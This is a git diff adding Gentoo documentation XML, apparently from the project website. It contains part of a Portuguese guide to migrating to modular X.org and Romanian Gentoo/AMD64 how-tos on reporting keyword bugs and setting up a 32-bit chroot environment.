+O X é muito difícil para atrair novos desenvolvedores, portanto a mudança para
+autotools, um sistema com que mais pessoas sentem-se confortáveis, se não
+contentes.
+</li>
+<li>
+Junto com esta mudança, dividir o código é possível com autotools, e também
+torna mais fácil para desenvolvedores.
+</li>
+<li>
+As coisas estavam desnecessariamente amarradas no passado, e isto tornou a
+solução de bugs quase impossível. Para poder lançar consertos, era necessário
+reconstruir todo XOrg. Por exemplo, um bug no driver ati poderia ou esperar 6
+meses até o próximo lançamento, ou você teria que reconstruir suas fontes para
+tê-lo, sem qualquer razão.
+</li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Migrando para o X modular</title>
+
+<section>
+<title>Introdução</title>
+<body>
+
+<p>
+Para impedir que pacotes antigos entrem no caminho, nós iremos limpar as sobras
+do xorg-x11 antigo antes de instalar o X modular. Isto não é absolutamente
+crucial, mas irá garantir uma migração suave.
+</p>
+</body>
+</section>
+
+<section>
+<title>Primeiro passo: limpe seu X antigo</title>
+<body>
+    
+<pre caption="Fazendo back-up do xorg-x11 antigo">
+# <i>emerge gentoolkit</i>
+# <i>quickpkg xorg-x11</i>
+</pre>
+
+<p>
+Livre-se da instalação monolítica:
+</p>
+
+<pre caption="Desinstalando a instalação monolítica">
+# <i>emerge -Ca xorg-x11 virtual/x11</i>
+# <i>rm -rf /usr/lib/opengl/xorg-x11</i>
+# <i>rm -rf /usr/lib/libGL*</i>
+</pre>
+
+<p>
+Você certamente deve ter uma cópia de backup do xorg-x11 monolítico caso as
+coisas dêem totalmente errado.
+</p>
+
+<p>
+Os passos seguintes ajudam a limpar os links simbólicos criados por
+<c>opengl-update</c>.
+</p>
+
+<p>
+Se seu <path>/usr/X11R6</path> não for um link simbólico para <path>/usr</path>,
+apague-o e comece do zero. Mas primeiro, salve uma lista de todos pacotes lá
+instalados.
+</p>
+
+<pre caption="Faça uma lista dos pacotes">
+# <i>if [[ ! -L /usr/X11R6 ]]; \
+	then equery belongs /usr/X11R6 > usr-x11r6-packages \
+	&amp;&amp; rm -rf /usr/X11R6; fi</i>
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Segundo passo: instalando o X modular</title>
+<body>
+    
+<p>
+Primeiro, adicione os pacotes necessários a
+<path>/etc/portage/package.unmask</path>. Abra
+<path>/usr/portage/profiles/package.mask</path> no editor de texto de sua
+escolha e copie e cole a lista completa da máscara do X modular para
+<path>package.unmask</path>. Faça o mesmo com
+<path>/etc/portage/package.keywords</path> se você estiver rodando estável. Se
+nada disso fez sentido, leia a <uri
+link="/doc/pt_br/handbook/handbook-x86.xml?part=3&amp;chap=3">seção do manual
+sobre máscaras</uri>.
+</p>
+
+<p>
+Para direct rendering, você deve ativar a opção de USE <c>dri</c>.
+</p>
+
+<p>
+Agora, instale a metabuild. Ela irá instalar o servidor e aplicações populares,
+dando a você uma implementação de desktop de X funcional:
+</p>
+
+<pre caption="Instalando a metabuild modular">
+# <i>emerge xorg-x11</i>
+</pre>
+
+<p>
+Note que esta instalação tenta ser mínima, então coisas como xcursor-themes não
+são instaladas por padrão.
+</p>
+
+<p>
+A seguir, instale alguns drivers. Isto irá variar dependendo de seu hardware de
+entrada e de vídeo, então por favor olhe em
+ <path>/usr/portage/x11-drivers/</path>. Aqui está um exemplo:
+</p>
+
+<pre caption="Instalando alguns drivers">
+# <i>emerge xf86-input-mouse xf86-input-keyboard xf86-video-ati</i>
+</pre>
+
+<note>
+Com o X modular instalado, drivers externos como nvidia-glx e wacom bem como
+algumas aplicações de vnc podem não funcionar se instalarem coisas em
+<path>/usr/lib/modules</path> ao invés de <path>/usr/lib/xorg/modules</path>.
+Vários deles terão detecção de X modular no processo de instalação e irão
+precisar ser re-instalados depois da instalação do X modular.
+</note>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Avisos/Problemas comuns</title>
+<section>
+<title>'emerge -u world' quer instalar o xorg-x11 6.x</title>
+<body>
+
+<p>
+Este problema ocorre porque a árvore ainda não está pronta para dependências
+modulares ainda. Você pode ajudar o esforço de porting lendo o <uri
+link="/proj/en/desktop/x/x11/porting-modular-x-howto.xml">Guia de porting para
+X modular</uri> e abrindo bugs com patches para os mantenedores de cada pacote.
+Os mantenedores são listados no <path>metadata.xml</path> no mesmo diretório
+que o pacote e o pacote <c>herdstat</c> irá agilizar sua procura.
+</p>
+
+
+</body>
+</section>
+<section>
+<title>O que aconteceu com todas opções de USE?</title>
+<body>
+
+<p>
+Muitas opções de USE da série do xorg-x11-6.8 sumiram ou foram mudadas no 7.0.
+Algumas novas opções de USE apareceram. Aqui está o motivo:
+</p>
+
+<table>
+<tr>
+	<th>Opção de USE</th>
+	<th>O que acontece no 7.0?</th>
+</tr>
+<tr>
+	<ti>3dfx</ti>
+	<ti>No 7.0, puxa glide-v3 da metabuild do xorg-x11</ti>
+</tr>
+<tr>
+	<ti>3dnow, mmx, sse</ti>
+	<ti>Ativadas por padrão na hora de construção, porque são verificações de runtime</ti>
+</tr>
+<tr>
+	<ti>bitmap-fonts, truetype-fonts, type1-fonts</ti>
+	<ti>
+		A metabuild do xorg-x11 puxa uma pequena seleção das fontes mais usadas e
+		necessárias. Você pode instalar outras fontes adicionais de media-fonts/.
+	</ti>
+</tr>
+<tr>
+	<ti>cjk</ti>
+	<ti>
+		USE=nls em font-misc-misc e font-sony-misc para obter fontes
+                japonesas JISX0201. Mais fontes estão em font-jis-misc. Fontes
+		chinesas estão em font-isas-misc. Fontes coreanas estão em
+		font-daewoo-misc.
+	</ti>
+</tr>
+<tr>
+	<ti>dlloader</ti>
+	<ti>O 7.0 usa dlloader por padrão, e o elfloader não funciona/</ti>
+</tr>
+<tr>
+	<ti>doc</ti>
+	<ti>Mudado para app-doc/xorg-docs</ti>
+</tr>
+<tr>
+	<ti>dmx</ti>
+	<ti>Construído com xorg-server a menos que USE=minimal</ti>
+</tr>
+<tr>
+	<ti>font-server</ti>
+	<ti>Você pode instalar o xfs manualmente.</ti>
+</tr>
+<tr>
+	<ti>ipv6</ti>
+	<ti>
+		Mudado para pacotes individuais que usam a opção. Selecione
+		globalmente se quiser.
+	</ti>
+</tr>
+<tr>
+	<ti>minimal</ti>
+	<ti>
+		Para obter o mesmo efeito, instale só o xorg-server ao invés de xorg-x11.
+		USE=minimal no xorg-server irá evitar a construção de Xdmx, Xvfb
+		e Xnest. Se você precisar de algo ainda mais minimalista, veja
+		x11-base/kdrive.
+	</ti>
+</tr>
+<tr>
+	<ti>nls</ti>
+	<ti>No 7.0, USE=nls instala todas versões não-ISO8859-1 das fontes.</ti>
+</tr>
+<tr>
+	<ti>nocxx</ti>
+	<ti>Ainda não há equivalente no 7.0</ti>
+</tr>
+<tr>
+	<ti>opengl</ti>
+	<ti>
+		Nome mudado para "dri," que ativa suporte de direct rendering no
+		xorg-server e muitos drivers. Estando USE=dri ligado ou
+		desligado, você ainda pode ter software 3D através de Mesa.
+	</ti>
+</tr>
+<tr>
+	<ti>pam</ti>
+	<ti>Mudada para pacotes individuais que a usam, como xorg-server e xdm</ti>
+</tr>
+<tr>
+	<ti>sdk</ti>
+	<ti>7.0 deve instalar o SDK como uma conseqüência da modularização.</ti>
+</tr>
+<tr>
+	<ti>static</ti>
+	<ti>
+		Não faz mais sentido construir um servidor estático em um mundo
+		modular, porque o driver não pode ser construído dentro dele.
+	</ti>
+</tr>
+<tr>
+	<ti>xprint</ti>
+	<ti>
+		Na metabuild, puxa libXp. Em outras aplicações, constrói suporte
+		para xprint. A maior parte das pessoas não devem ativar isto.
+	</ti>
+</tr>
+<tr>
+	<ti>xv</ti>
+	<ti>
+		Não é mais opcional já que não economiza muito tamanho e causa
+		outros problemas com pacotes que esperam xv.
+	</ti>
+</tr>
+</table>
+
+</body>
+</section>
+
+<section>
+<title>Problemas de drivers</title>
+<body>
+
+<p>
+Ouvi relatos de que:
+</p>
+
+<ul>
+  <li>vesa trava em máquina com placa mga</li>
+  <li>vga produz uma tela muito estranha, dividida em quartos</li>
+</ul>
+</body>
+</section>
+<section>
+<title>Obtendo glxinfo/glxgears</title>
+<body>
+
+<p>
+Estes programas são agora fornecidos por <c>x11-apps/mesa-progs</c>.
+<c>mesa-progs</c> é puxado pelo pacote <c>x11-base/xorg-x11</c> automaticamente.
+</p>
+
+<p>
+Para obter informações de debug do glxinfo para ajudar a fazer direct rendering
+funcionar:
+</p>
+
+<pre caption="Obtendo informações de debug do glxinfo">
+# <i>LIBGL_DEBUG=verbose glxinfo</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Auto-detecção de protocolo de mouse</title>
+<body>
+
+<p>
+Se você tiver <c>Protocol "auto"</c> configurado no xorg.conf para seu mouse
+pode não funcionar. Você pode ter que especificar <c>Protocol "ExplorerPS/2"</c>
+ou <c>"IMPS/2"</c> para que sua roda funcione.
+</p>
+
+</body>
+</section>
+<section>
+<title>Tudo em /usr/lib/xorg sumiu!</title>
+<body>
+
+<p>
+Reinstale o &gt;=xorg-server-0.99.1-r4. Isto foi um bug temporário que resultou
+em apagamento depois da remoção de um pacote. Ao invés disso,
+<path>/usr/lib/xorg</path> só deveria ter sido apagado se nenhum xorg-server
+houvesse sobrado no sistema.
+</p>
+
+</body>
+</section>
+<section>
+<title>gdm/kdm não funcionam</title>
+<body>
+
+<p>
+Se você instalou o X modular em uma nova instalação do Gentoo, pode ser que você
+não tem um link simbólico <path>/usr/X11R6</path> -&gt; <path>/usr</path>. O
+pacote <c>x11-base/xorg-x11</c> irá certificar que o link simbólico existe
+durante o processo de emerge.
+</p>
+
+<p>
+Você pode ajudar a tirar as coisas de <path>/usr/X11R6</path> consertando os
+pacotes que instalam coisas ali e abrindo bugs.
+</p>
+
+</body>
+</section>
+<section>
+<title>Outros problemas</title>
+<body>
+
+<ul>
+  <li>
+    O pacote <c>x11-base/xorg-x11</c> agora filtra todas linhas ModulePath e
+    RgbPath de seu <path>/etc/X11/xorg.conf</path>, já que os dois caminhos
+    foram mudados desde versões anteriores. Certifique-se de rodar
+    <c>etc-update</c> para finalizar estas mudanças.
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/ro/base/amd64/howtos/bugs.xml b/xml/htdocs/proj/ro/base/amd64/howtos/bugs.xml
new file mode 100644
index 00000000..62333aa2
--- /dev/null
+++ b/xml/htdocs/proj/ro/base/amd64/howtos/bugs.xml
@@ -0,0 +1,159 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/ro/base/amd64/howtos/bugs.xml,v 1.2 2006/04/05 05:00:35 alin Exp $ -->
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The context of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommonds.org/licenses/by-sa/1.0 -->
+
+<sections>
+
+<version>2004.3</version>
+<date>2005-02-20</date>
+
+<section>
+<title>Cum să raportaţi bug-uri de keywords pe Gentoo/AMD64</title>
+<body>
+
+<p>
+Mai întâi, dorim să vă mulţumim pentru ajutorul acordat proiectului
+Gentoo/AMD64. Efortul dvs. mare în testarea aplicaţiilor este foarte mult
+apreciat. În ceea ce urmează, dorim să vă explicăm paşii pentru a
+raporta un bug, dacă doriţi să ne înştiinţaţi că o aplicaţie
+mascată funcţionează în instalarea dvs. Gentoo/AMD64.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Înregistraţi-vă, mai întâi!</title>
+<body>
+
+<p>
+Dacă nu v-aţi înregistrat cu un identificator pe <uri
+link="http://bugs.gentoo.org/createaccount.cgi">bugs.gentoo.org</uri>, vă
+rugăm să faceţi acest lucru, mai întâi.
+</p>
+
+</body>
+</section>
+<section>
+<title>Paşii pentru Raportare</title>
+<body>
+
+<p>
+Efectuaţi următorii paşi pentru a raporta un bug:
+</p>
+
+<ul>
+  <li>
+    Navigaţi la <uri
+    link="http://bugs.gentoo.org/createaccount.cgi">bugs.gentoo.org</uri>.
+  </li>
+  <li>
+    Efectuaţi click pe <c>Report A Bug</c> aproape de partea superioară a
+    paginii.
+  </li>
+  <li>Alegeţi <c>Gentoo Linux</c> din lista de produse (eng. "product").</li>
+  <li>Autentificaţi-vă utilizând contul dvs. bugs.gentoo.org.</li>
+  <li>Căutaţi bug-ul dvs.
+    <ul>
+      <li>
+        Introduceţi <c>ALL</c> şi numele ebuild-ului în căsuţa de text
+        "search". Aveţi grijă, deoarece <c>ALL</c> este cu majuscule.
+      </li>
+    </ul>
+  </li>
+</ul>
+
+<pre caption="Exemplu">
+ALL k3b
+</pre>
+
+<ul>
+  <li>Continuaţi căutarea bug-ului dvs.
+  <ul>
+    <li>Efectuaţi click pe butonul <c>Search</c>.</li>
+    <li>
+      Verficaţi dacă cineva a raportat deja bug-ul despre aplicaţia
+      mascată care funcţionează pentru dvs..
+    </li>
+    <li>Ar trebui să observaţi două lucruri.
+      <ul>
+        <li>Coloana Plt ar trebui să specifice <c>amd64</c>.</li>
+        <li>
+          Coloana Summary ar trebui să specifice un text în genul <e>working
+          on amd64</e>.
+        </li>
+      </ul>
+    </li>
+    <li>
+      Dacă nu observaţi nimic aplicabil în subcadrul de căutare, treceţi
+      la următorul pas. Altfel, deja ştim despre aplicaţie şi nu trebuie
+      (şi nici nu este recomandat) să raportaţi un nou bug.
+    </li>
+    </ul>
+  </li>
+  <li>Completaţi informaţiile dvs.
+    <ul>
+      <li>Selectaţi <c>Ebuilds</c> pentru <e>Component</e>.</li>
+      <li>Selectaţi <c>amd64</c> pentru <e>Hardware Platform</e>.</li>
+      <li>
+        În căsuţa de text <e>Summary</e> introduceţi sumarul în forma:
+        ${categorie}/${aplicaţie}-${versiune} funcţionează pe amd64.
+      </li>
+    </ul>
+  </li>
+</ul>
+
+<pre caption="Exemplu">
+app-cdr/k3b-0.11.6 works on amd64
+</pre>
+
+<ul>
+  <li>Continuaţi să ne oferiţi detalii
+    <ul>
+      <li>
+        In zona de text <e>Description</e>, introduceţi o descriere scurtă de
+        forma: Please add "~amd64" to the KEYWORDS for
+        ${categorie0}/${applicaţie}-${versiune}.
+      </li>
+    </ul>
+  </li>
+</ul>
+
+<pre caption="Exemplu">
+Please add "~amd64" to the KEYWORDS for app-cdr/k3b-0.11.6
+</pre>
+
+<ul>
+  <li>Continuaţi să ne oferiţi date
+    <ul>
+      <li>
+        Efectuaţi paste pentru textul afişat de comanda <c>emerge info</c>
+        în zona de text <e>Description</e>. Acest pas este foarte
+        folositor şi ne oferă condiţiile dvs. de mediu (spre ex.
+        indicatorii USE).
+      </li>
+      <li>
+        Selectaţi <c>Enhancement</c> din lista <e>Severity</e>. <e>Vă
+        rugăm să nu mai selectaţi nimic în plus aici. Dezvoltatorii pot
+        (şi vor) modifica severitatea raportului dvs. în caz de
+        necesitate.</e>
+      </li>
+    </ul>
+  </li>
+  <li>
+    Verificaţi încă o dată informaţiile dvs. pentru a vă asigura că
+    introduceţi datele corecte.
+  </li>
+  <li>Apăsaţi pe <c>Submit Bug Report</c> când sunteţi gata de raportare.</li>
+</ul>
+
+<p>
+Vă mulţumim foarte mult !
+</p>
+
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/ro/base/amd64/howtos/chroot.xml b/xml/htdocs/proj/ro/base/amd64/howtos/chroot.xml
new file mode 100644
index 00000000..ab723142
--- /dev/null
+++ b/xml/htdocs/proj/ro/base/amd64/howtos/chroot.xml
@@ -0,0 +1,327 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/ro/base/amd64/howtos/chroot.xml,v 1.2 2006/04/12 17:32:14 alin Exp $ -->
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<sections>
+
+<version>1.1</version>
+<date>2006-04-10</date>
+
+<section>
+<title>Introducere</title>
+<subsection>
+<title>Introducere în sistemul pe 64 de biţi</title>
+<body>
+
+<p>
+Ghidul pentru medii chroot pe 32 de biţi vă va ajuta să setaţi un mediu
+chroot pe 32 de biţi real pentru sistemul dvs. Gentoo/AMD64.
+</p>
+
+<p>
+După cum ştiţi, sistemele pe 64 de biţi nu rulează, încă, aplicaţii
+pe 32 de biţi în mod nativ (cel puţin, nu cu portage), deci va trebui să
+utilizaţi biblioteci de emulare pentru a le face să funcţioneze, sau să
+creaţi un sistem real pe 32 de biţi în interiorul unui mediu chroot pentru a
+instala şi a rula nativ aplicaţii pe 32 de biţi. Pentru cele mai multe
+cazuri de utilizare, nu trebuie să creaţi un sistem chroot pe 32 de biţi.
+În orice caz, dacă doriţi să rulaţi aplicaţii care nu a un binar
+disponibil pentru a rula cu bibliotecile pe 32 de biţi, ar trebui să
+utilizaţi un mediu chroot. Acest ghid vă va explica cum să setaţi un
+mediu chroot pe 32 de biţi şi cum să instalaţi şi să rulaţi
+aplicaţii în interiorul acestuia.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Instalare</title>
+<subsection>
+<title>Instalarea mediul chroot pe 32 de biţi</title>
+<body>
+
+<p>
+Pentru a instala un mediu chroot pe 32 de biţi, trebuie să urmaţi mulţi
+dintre paşii utilizaţi pentru a instala Gentoo pe un sistem x86. Pentru
+moment, trebuie să descărcaţi ultimul fişier stage3 disponibil pe
+server-ele noastre <uri
+link="http://www.gentoo.org/main/en/mirrors.xml">mirror</uri>.
+</p>
+
+<pre caption="descărcarea fişierului stage3 de pe un mirror gentoo">
+$ cd /home/user/downloads
+$ wget -c http://distfiles.gentoo.org/releases/x86/2005.0/stages/athlon-xp/stage3-athlon-xp-2005.0.tar.bz2
+</pre>
+
+<note>
+Notaţi faptul că am descărcat un fişier stage pentru x86, şi <c>nu</c>
+pentru AMD64.
+</note>
+
+<p>
+După descărcarea unui fişier stage3, va trebui să creaţi un nou
+director pentru a construi noul dvs. mediu chroot.
+</p>
+
+<pre caption="crearea directorului pentru mediul chroot pe 32 de biţi">
+$ su root <i>insert your root password</i>
+# cd /mnt
+# mkdir gentoo32
+</pre>
+
+<p>
+Apoi, mutaţi fişierul stage pe care tocmai l-aţi descărcat,
+dezarhivaţi-l şi setaţi-l ca în următorul exemplu.
+</p>
+
+<pre caption="instalarea din stage3">
+# cd /mnt/gentoo32
+# tar -xvjpf /home/user/downloads/stage3-athlon-xp-2005.0.tar.bz2
+# cp -L /etc/resolv.conf /mnt/gentoo32/etc/
+# cp -L /etc/passwd /mnt/gentoo32/etc/
+</pre>
+
+<p>
+Acum, aveţi un mediu chroot gata pentru setare. Consultaţi următorul
+capitol pentru a învăţa cum să-l setaţi.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Setarea</title>
+<subsection>
+<title>Setarea noului dvs. mediu pe 32 de biţi</title>
+<body>
+
+<p>
+Dacă totul a decurs bine până acum, veţi putea să vă setaţi noul
+dvs. mediu chroot pe 32 de biţi şi să terminaţi instalarea acestuia.
+</p>
+
+<p>
+Următorul pas este să setaţi noul dvs. fişier
+<c>/mnt/gentoo32/etc/make.conf</c>.
+</p>
+
+<pre caption="Configurarea noului make.conf">
+CFLAGS="-O2 -march=athlon-xp -msse2 -pipe -fomit-frame-pointer"
+CHOST="i686-pc-linux-gnu"
+CXXFLAGS="${CFLAGS}"
+MAKEOPTS="-j2"
+</pre>
+
+<p>
+Acum, mount-aţi diversele sisteme de fişiere virtuale:
+</p>
+
+<pre caption="Mount-area sistemelor de fişiere virtuale">
+# mount -o bind /dev /mnt/gentoo32/dev
+# mount -o bind /dev/pts /mnt/gentoo32/dev/pts
+# mount -o bind /dev/shm /mnt/gentoo32/dev/shm
+# mount -o bind /proc /mnt/gentoo32/proc
+# mount -o bind /proc/bus/usb /mnt/gentoo32/proc/bus/usb
+# mount -o bind /sys /mnt/gentoo32/sys
+</pre>
+
+<p>
+Acum, aveti un mediu chroot real pe 32 de biţi instalat în sistemul dvs. pe
+64 de biţi, ce este aproape gata de utilizare. În continuare, trebuie să
+creaţi o legătură între structura portage disponibilă în sistemul pe
+64 de biţi către mediul chroot. În acest mod, va trebui să îl
+actualizaţi doar într-o singură instalare în locul duplicării unei mari
+cantităţi de date.
+</p>
+
+<pre caption="Legarea portage la directorul /usr/portage în mediul chroot pe 32 de biţi">
+# mkdir -p /mnt/gentoo32/usr/portage/
+# mount -o bind /usr/portage /mnt/gentoo32/usr/portage/
+</pre>
+
+<note>
+Ori de câte ori vă actualizaţi structura portage prin operaţia de emerge
+sync, vă actualizaţi, de asemenea, şi mediul chroot.
+</note>
+
+<p>
+Dacă doriţi să rulaţi aplicaţii pe 32 de biţi ce necesită X, va
+trebui, de asemenea, să mount-aţi şi /tmp.
+</p>
+
+<pre caption="Mount-area /tmp pentru aplicaţiile cu interfaţă grafică">
+# mount -o bind /tmp /mnt/gentoo32/tmp
+</pre>
+
+<p>
+Acum suntem gata să comutăm în mediul chroot.
+</p>
+
+<pre caption="Comutarea în mediul chroot">
+<i>(Efectuaţi acest pas doar dacă nu aveţi setarch deja instalat)</i>
+# emerge setarch
+# linux32 chroot /mnt/gentoo32 /bin/bash
+<i>(Asiguraţi-vă că aveţi un setup pe 64 de biţi)</i>
+# uname -m
+Linux mysystem 2.6.12-gentoo-r1 #1 Mon Jun 27 02:41:55 GMT 2005 i686 AMD Athlon(tm) 64 Processor 3500+ AuthenticAMD GNU/Linux
+</pre>
+
+<warn>
+Utilitarul <c>linux32</c> este necesar pentru a modifica valoarea CHOST. Dacă
+îl uitaţi, cel mai probabil nu veţi putea compila nimic în interiorul
+mediului chroot.
+</warn>
+
+<p>
+Acum aveţi un sistem chroot pe 32 de biţi nou, gata de actualizare. Urmaţi
+paşii de mai jos pentru a-l actualiza.
+</p>
+
+<pre caption="Actualizarea noului dvs. mediu pe 32 de biţi">
+# source /etc/profile
+# env-update
+# emerge -au world
+</pre>
+
+<p>
+După aceasta, practic aţi terminat setarea mediului chroot pe 32 de biţi.
+Pentru a vă uşura munca, vom seta un fişier nou în sistemul pe 64 de
+biţi, pentru a activa instrucţiunile pe 32 de biţi la boot.
+</p>
+
+<pre caption="crearea unui nou fişier în /etc/init.d">
+# nano -w /etc/init.d/gentoo32
+#!/sbin/runscript
+
+depend() {
+   need localmount
+   need bootmisc
+}
+
+start() {
+    ebegin "Mounting 32bits chroot dirs"
+    mount -o bind /dev /mnt/gentoo32/dev >/dev/null &amp;
+    mount -o bind /dev/pts /mnt/gentoo32/dev/pts >/dev/null &amp;
+    mount -o bind /dev/shm /mnt/gentoo32/dev/shm >/dev/null &amp;
+    mount -o bind /proc /mnt/gentoo32/proc >/dev/null &amp;
+    mount -o bind /proc/bus/usb /mnt/gentoo32/proc/bus/usb >/dev/null &amp;
+    mount -o bind /sys /mnt/gentoo32/sys >/dev/null &amp;
+    mount -o bind /tmp /mnt/gentoo32/tmp >/dev/null &amp;
+    mount -o bind /usr/portage /mnt/gentoo32/usr/portage/ >/dev/null &amp;
+    eend $? "An error occured while attempting to mount 32bit chroot directories"
+    ebegin "Copying 32bits chroot files"
+    cp -pf /etc/resolv.conf /mnt/gentoo32/etc >/dev/null &amp;
+    cp -pf /etc/passwd /mnt/gentoo32/etc >/dev/null &amp;
+    cp -pf /etc/shadow /mnt/gentoo32/etc >/dev/null &amp;
+    cp -pf /etc/group /mnt/gentoo32/etc >/dev/null &amp;
+    cp -pf /etc/gshadow /mnt/gentoo32/etc >/dev/null &amp;
+    cp -pf /etc/hosts /mnt/gentoo32/etc > /dev/null &amp;
+    cp -Ppf /etc/localtime /mnt/gentoo32/etc >/dev/null &amp;
+    eend $? "An error occured while attempting to copy 32 bits chroot files."
+}
+
+stop() {
+    ebegin "Unmounting 32bits chroot dirs"
+    umount -f /mnt/gentoo32/dev/pts >/dev/null &amp;
+    umount -f /mnt/gentoo32/dev/shm >/dev/null &amp;
+    umount -f /mnt/gentoo32/dev >/dev/null &amp;
+    umount -f /mnt/gentoo32/proc/bus/usb >/dev/null &amp;
+    umount -f /mnt/gentoo32/proc >/dev/null &amp;
+    umount -f /mnt/gentoo32/sys >/dev/null &amp;
+    umount -f /mnt/gentoo32/tmp >/dev/null &amp;
+    umount -f /mnt/gentoo32/usr/portage/ >/dev/null &amp;
+    eend $? "An error occured while attempting to unmount 32bits chroot directories"
+}
+</pre>
+
+<p>
+Acum, trebuie doar să rulaţi <c>rc-update add gentoo32 default</c> pentru a
+rula la boot.
+</p>
+
+<p>
+De câte ori veţi dori să comutaţi în mediul dvs. chroot, va trebui să
+rulaţi numai următoarea comandă: <c>linux32 chroot /mnt/gentoo32
+/bin/bash</c>. 
+</p>
+
+<p>
+Acum, aveţi un mediu chroot pe 32 de biţi, gata pentru instalarea de noi
+aplicaţii.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Aplicaţii</title>
+<subsection>
+<title>Instalarea de noi aplicaţii în mediul dvs. chroot</title>
+<body>
+
+<p>
+Acum, că aveţi un mediu chroot complet funcţional pe 32 biţi, puteţi
+instala orice aplicaţie în modul pe 32 de biţi. Să vedem cum puteţi
+instala pachete noi în noul dvs. mediu chroot pe 32 de biţi.
+</p>
+
+<pre caption="Instalarea pachetului foo în mediul chroot">
+# linux32 chroot /mnt/gentoo32 /bin/bash
+# source /etc/profile
+# env-update
+# emerge foo
+</pre>
+
+<note>
+Amintiţi-vă să efectuaţi mereu operaţiile <c>source /etc/profile</c>
+şi <c>env-update</c> după comutarea în interiorul mediului chroot.
+</note>
+
+<p>
+Acum, aţi instalat un pachet nou în mediul dvs. chroot pe 32 de biţi. Dacă
+doriţi să rulaţi noul pachet, trebuie să-l rulaţi din mediul chroot.
+Dacă doriţi să rulaţi aplicaţii X, cea mai bună soluţie este să îl
+rulaţi utilizând trucul <c>xhost</c>. De câte ori trebuie să rulaţi o
+aplicaţie X, rulaţi această comandă în mediul pe 64 de biţi:
+</p>
+
+<pre caption="Trucul xhost">
+# xhost local:localhost
+</pre>
+
+<p>
+După aceasta, intraţi în mediul chroot din nou şi ar trebui să puteţi
+rula fiecare aplicaţie X compilată în mediul dvs. chroot pe 32 de biţi.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Concluzie</title>
+<subsection>
+<title>Concluzia acestui ghid</title>
+<body>
+
+<p>
+Cu ajutorul acestui mediu chroot puteţi instala multe pachete disponibile
+pentru arhitectura x86. Unele pachete, cum ar fi <c>OpenOffice</c>, pot fi
+instalate utilizând binarul disponibil pentru Gentoo/AMD64. Unele din
+codec-urile disponibile pentru <c>MPlayer</c> necesită un mediu chroot pe 32
+de biţi, deci va trebui să instalaţi <c>win32codecs</c> în interiorul
+acestui mediu chroot.
+</p>
+
+</body>
+</subsection>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/ro/base/amd64/howtos/index.xml b/xml/htdocs/proj/ro/base/amd64/howtos/index.xml
new file mode 100644
index 00000000..22765403
--- /dev/null
+++ b/xml/htdocs/proj/ro/base/amd64/howtos/index.xml
@@ -0,0 +1,49 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/ro/base/amd64/howtos/index.xml,v 1.4 2006/02/02 19:21:11 alin Exp $ -->
+<!DOCTYPE book SYSTEM "/dtd/book.dtd">
+
+<book link="index.xml" lang="ro">
+<title>Tutoriale pentru Gentoo/AMD64</title>
+
+<author title="Mentenanţă"><mail link="jhuebel@gentoo.org">Jason Huebel</mail></author>
+<author title="Translator">
+  <mail link="alin@gentoo.org">Alin Dobre</mail>
+</author>
+
+<abstract>
+Aici, puteţi regăsi tutoriale pentru Gentoo/AMD64.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/license/by-sa/1.0 -->
+<license/>
+
+<version>2005.1</version>
+<date>2006-02-01</date>
+
+<part>
+<title>Tutorialele pentru Gentoo/AMD64</title>
+<abstract>
+Oferă unele tutoriale pentru utilizatorii Gentoo/AMD64.
+</abstract>
+
+<chapter>
+<title>Modalitatea de raportare a problemelor</title>
+<abstract>
+Oferă informaţii despre modalitatea de a raporta un bug în legătură cu
+platforma Gentoo/AMD64.
+</abstract>
+<include href="bugs.xml"/>
+</chapter>
+
+<chapter>
+<title>Ghidul Gentoo/AMD64 pentru Medii Chroot pe 32 de Biţi</title>
+<abstract>
+Acest ghid vă ajută să setaţi un mediu chroot pe 32 de biţi pentru
+sistemul dvs. Gentoo/AMD64.
+</abstract>
+<include href="chroot.xml"/>
+</chapter>
+
+</part>
+</book>
diff --git a/xml/htdocs/proj/ro/base/amd64/technotes/index.xml b/xml/htdocs/proj/ro/base/amd64/technotes/index.xml
new file mode 100644
index 00000000..4a32aacb
--- /dev/null
+++ b/xml/htdocs/proj/ro/base/amd64/technotes/index.xml
@@ -0,0 +1,84 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/ro/base/amd64/technotes/index.xml,v 1.1 2005/05/14 15:36:12 alin Exp $ -->
+<!DOCTYPE book SYSTEM "/dtd/book.dtd">
+
+<book link="index.xml" lang="ro">
+<title>Informaţii despre Proiectul Gentoo/AMD64</title>
+
+<author title="Editor"><mail link="jhuebel@gentoo.org">Jason Huebel</mail></author>
+<author title="Editor"><mail link="avenj@gentoo.org">Jon Portnoy</mail></author>
+<author title="Editor"><mail link="gerrynjr@gentoo.org">Gerald J. Normandin Jr.</mail></author>
+<author title="Translator"><mail link="alin@gentoo.org">Alin Dobre</mail></author>
+
+<abstract>
+Proiectul Gentoo/AMD64 are ca scop devenirea Gentoo a celei mai actualizate,
+rapide şi robuste distribuţii Linux pentru arhitectura AMD64 (şi IA-32e).
+</abstract>
+
